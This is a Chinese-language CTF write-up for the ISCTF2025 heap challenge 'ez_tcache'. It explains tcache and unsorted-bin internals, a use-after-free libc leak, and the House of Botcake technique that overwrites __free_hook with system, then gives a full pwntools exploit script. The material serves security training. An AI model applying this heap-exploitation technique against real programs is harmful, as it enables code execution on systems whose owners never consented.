ez_tcache
.png)
main函数:
.png)
delete函数:
.png)
show函数:
.png)
add函数:
.png)
这题明显是一道堆题目,功能有delete、show和add,我们最多能申请20个堆,每个堆的最大为0x400,题目没有后门函数,那我们要先考虑泄露libc地址,我们看到delete函数,这里有明显的UAF漏洞,这里释放了nodes[int](里面存的是堆地址的指针)并没有清空那个位置,即并没有nodes[int] = NULL,假设我们free了chunk7后,我们nodes[7]还是存的chunk7的地址,那我们用show函数时如果show(7)还是会打印chunk7的内容,我们要利用这个漏洞就要先知道chunk在不同情况下的结构
使用中:
.png)
Size = 0x91:表示 Chunk 大小为 144 字节,且前一个 Chunk (Chunk 6) 处于使用状态(防止向前合并)。User Data:此时 0x10 开始的区域完全归用户支配,存储有效数据。
Unsorted Bin 状态:
.png)
fd/bk 指针:原本存储 User Data 的前 16 字节被系统征用,用于维护双向链表。因为它是链表中唯一的节点,所以直接指向 Libc 中的 main_arena
Tcache 状态:
.png)
next 指针:指向链表中的下一个空闲块(如果是最后一个则为 NULL)。。
key:这是 Tcache 的安全机制,用于检测 Double Free。
我们介绍一下tcache和unsorted bin
首先是tcache:
数据结构:单向链表 (Singly Linked List),采用 LIFO (后进先出) 策略。
管理方式:
每个线程有一个 tcache_perthread_struct 结构体。
里面包含两组数组:counts (记录每个链表里有几个块) 和 entries (记录链表的头指针)。
默认覆盖范围:16字节 ~ 1032字节 (0x410)。
默认容量:每个大小链表最多存 7 个块。(就是同个大小的堆只能存7个)
.png)
.png)
然后是unsorted bin:
机制:如果 Tcache/Fastbin 满了,那再free就会进入unsorted bin
数据结构:双向循环链表 (Doubly Linked List)。
FIFO (先进先出):通常采用头部插入,尾部取出的方式遍历(但在特定版本和场景下有变种)。
物理特性:
合并 (Consolidation):这是 Unsorted Bin 的核心功能。进入这里的块,系统会尝试向前、向后合并相邻的空闲块,以减少内存碎片。
分类:在 malloc 过程中,如果 Unsorted Bin 里的块大小不合适,它们会被“整理”并发送到 Small Bin 或 Large Bin。
可以把unsorted bin看成一个圆圈,假设先进来了chunkA,然后进来了chunkB,那
(1) Chunk B(最新释放的块,位于链表头部)
因为它刚被插到 Head 的后面,所以它连接着 Head 和旧块 A。
fd 指向: Chunk A 的地址
(逻辑:它的下一个是老块 A)
bk 指向: Unsorted Bin Head 的地址(位于 libc 中)
(逻辑:它的上一个是表头)
(2) Chunk A(最早释放的块,位于链表尾部)
它是之前唯一的块,现在被 B 挤到了后面。
fd 指向: Unsorted Bin Head 的地址(位于 libc 中)
(逻辑:它是最后一个,所以 fd 指回表头,完成循环)
bk 指向: Chunk B 的地址
(逻辑:它的上一个是刚刚插进来的 B)
(3) Unsorted Bin Head(位于 main_arena)
这是链表的锚点。
fd 指向: Chunk B 的地址
(逻辑:fd 总是指向链表中最新的那个块)
bk 指向: Chunk A 的地址
(逻辑:bk 总是指向链表中最早进入的那个块)
好,这就是这题要用到的理论知识,我们首先要泄露libc地址,我们注意到,当chunk位于unsorted bin时,会在chunk开头放置libc地址,如果我们利用UAF漏洞,即通过free把chunk送入unsorted bin,然后show,就能获取开头的libc地址,那我们要把chunk送入unsorted bin就要先申请8个相同大小的chunk,然后free,这样前7个就会把tcache占满,那最后一个就进入了unsorted bin,我们show就能泄露出libc地址了,这是我们实现这部分的脚本
for i in range(7):
add(0x88, b'Filler')
add(0x88, b'Chunk_A')
add(0x88, b'Chunk_B')
add(0x18, b'Guard')
for i in range(7):
delete(i)
delete(8)
delete(7)
show(7)
这里我们把chunk7和8都送进unsorted bin是为了我们后面利用做铺垫,我们有了libc地址了,我们这题没有edit函数,所以我们想要写入内容只有add函数,我们要修改fd指针要另外想办法,这里我们利用的漏洞方法叫做House of Botcake,这个方法的过程是这样的
add(0x88, b'Make_Room')
delete(8)
payload = flat([
b'A' * 0x88,
0x91,
free_hook
])
add(0x100, payload)
add(0x88, b'/bin/sh\x00')
add(0x88, p64(system_addr))
delete(12)
前面说到,我们把chunk7和chunk8都送进了unsorted bin,由于这两个chunk的地址是相邻的,那在unsorted bin就会把它们两个合并,看作一个大的chunk,这个合并机制也是我们为什么要多申请一个Guard,如果没有这个,当chunk7和chunk8进入unsorted bin后,会被顶端那块巨大的、未分配的预留内存top chunk吞并,当有一个Guard时,内存布局是 Chunk 7 -> Chunk 8 -> Guard (正在使用) -> Top Chunk,unsorted bin只会合并chunk7和chunk8,这时我们add,把一个堆从tcache中释放出来,然后我们再次free(8),这里由于delete并没有清空指针,所以我们可以再次free(8),注意,假设chunk8已经free进入了tcache,我们不能再把它free进tcache,Glibc 2.29 引入的 Tcache Double Free 检查(key 字段检查),我们的House of Botcake就是为了应对这个检查的一个方法,我们回到题目,这次free(8),程序发现tcache还有一个位置(我们刚刚add腾出了一个位置),然后tcache中也没有chunk8,就把chunk8放入了tcache,此时,chunk8同时存在于tcache和unsorted bin(这个的意思是,我们对tcache和unsorted bin进行操作都能操作chunk8),那我们要修改fd只能利用add,我们前面提到了,现在chun7和chunk8形成了一个大块,由于chunk7的地址比chunk8低,所以这个大块的头部是chunk7的头部,这里chunk8整个都被看作大块user data,此时,我们申请0x100(这个大小只要足够覆盖chunk7和chunk8存fd的位置就行)的大小,由于它检查tcache中没有这么大的,就到unsorted bin中找空间,发现这个大块足够,它就把这个大块切割出0x110(当我们申请一块堆内存时,我们申请的是user data的大小,程序会自动在前面加上头部,也就是实际占的大小会大一些,例如我们前面申请的0x88大小实际大小为0x90),给我们,然后我们就能向这里面写,那我们就能改写chunk8的fd指针了(前面提到了,合并后chunk8被视为user data),这里0x88是覆盖chunk7,这里注意有一个堆块复用规则,我们前面知道chunk的开头是pre_size和size,而堆块复用就是当一个堆块处于“使用中(Allocated)”状态时,它的下一个块的 prev_size 空间可以被它“借用”来存储用户数据,那我们的0x88实际上就覆盖到了chunk8的pre_size,下一个就是chunk8的size位置,这里要覆盖成0x91,最后的1代表chunk7是使用状态,因为实际上add(0x100)时申请出的大块包括整个chunk7,这个0x110这个大块是使用状态,那单看chunk7的它肯定时使用状态的,然后我们把chunk8的fd指针的位置修改成了free_hook,free函数的流程是先检查free_hook是不是空的,如果不是空的就跳转到free_hook里面存的地址开始执行,现在,我们把chunk8的fd修改成free_hook了,接下来我们再申请一个0x88的chunk,我们把chunk8又申请出来了,注意,由于delete并没有清空指针,所以每次add申请的notes[]都会加1,这里申请出的是notes[12],我们往notes[12]位置写入了sh,我们把chunk8的fd修改后,把chunk8申请出来前,tcache的结构就变成了chunk8-->free_hook,并没有其他chunk了,因为没有指针指向其他chunk了,我们把tcache的链表改变了,所以我们把chunk8申请出去后,再申请一次tcache的chunk,就把free_hook地址申请出来了,也就是notes[13]=free_hook,那我们就能把free_hook存的内容改变了,这里我们把它改成system,让我们看看最后delete(12)发生了什么吧
delete(12)--> free(note[12]) --> 查看free_hook是否为空,发现不为空,为system函数的地址-->执行system(notes[12])-->notes[12]内存的是sh-->system('sh'),成功getshell
EXP:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file = './pwn_patched'
elf = ELF(file)
libc = ELF("./glibc/libc-2.29.so")
choice = 0
if choice:
port = 20521
target = 'challenge.bluesharkinfo.com'
p = remote(target, port)
else:
p = process(file)
gdb_ = 0
if gdb_:
gdb.attach(p)
def add(size, content):
p.sendlineafter(b"choice: ", b"1")
p.sendlineafter(b"Size: ", str(size).encode())
if len(content) < size:
p.sendafter(b"Content: ", content.ljust(size, b'\x00'))
else:
p.sendafter(b"Content: ", content)
def delete(idx):
p.sendlineafter(b"choice: ", b"2")
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(b"choice: ", b"3")
p.sendlineafter(b"Index: ", str(idx).encode())
p.recvuntil(b"Content: ")
for i in range(7):
add(0x88, b'Filler')
add(0x88, b'Chunk_A')
add(0x88, b'Chunk_B')
add(0x18, b'Guard')
for i in range(7):
delete(i)
delete(8)
delete(7)
show(7)
leak_data = p.recv(6)
libc.address = u64(leak_data.ljust(8, b'\x00')) - 0x1e4ca0
log.success(f"Libc Base: {hex(libc.address)}")
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
add(0x88, b'Make_Room')
delete(8)
payload = flat([
b'A' * 0x88,
0x91,
free_hook
])
add(0x100, payload)
add(0x88, b'/bin/sh\x00')
add(0x88, p64(system_addr))
delete(12)
p.interactive()
题目链接:
CTF-Writeups/ISCTF2025/ez_tcache at main · Zenquiem/CTF-Writeups